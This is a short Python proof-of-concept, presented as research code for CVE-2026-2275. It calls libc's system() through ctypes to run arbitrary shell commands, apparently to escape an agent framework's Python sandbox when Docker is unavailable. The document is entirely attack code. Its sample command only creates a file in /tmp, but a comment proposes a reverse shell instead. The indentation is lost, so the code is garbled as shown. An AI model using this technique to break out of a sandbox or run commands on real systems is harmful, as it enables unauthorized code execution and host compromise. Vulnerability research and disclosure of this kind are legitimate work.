The following code is for security research and authorized testing only.
python
import ctypes
import sys
# Proof of Concept for CVE-2026-2275
# This simulates the arbitrary C function call when Docker is unreachable and SandboxPython is active.
def execute_shell_command(command):
try:
# Load the C standard library (libc on Linux, msvcrt on Windows)
if sys.platform.startswith('linux'):
libc = ctypes.CDLL('libc.so.6')
elif sys.platform == 'darwin':
libc = ctypes.CDLL('libSystem.dylib')
elif sys.platform == 'win32':
libc = ctypes.cdll.msvcrt
else:
return "Unsupported platform"
# Define the argument and return type for the system function
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
# Execute the command
result = libc.system(command.encode('utf-8'))
return f"Command executed with return code: {result}"
except Exception as e:
return f"Error: {str(e)}"
if __name__ == "__main__":
# Example command: create a file or run a reverse shell
cmd = "touch /tmp/crewai_poc.txt"
print(f"Attempting to execute: {cmd}")
print(execute_shell_command(cmd))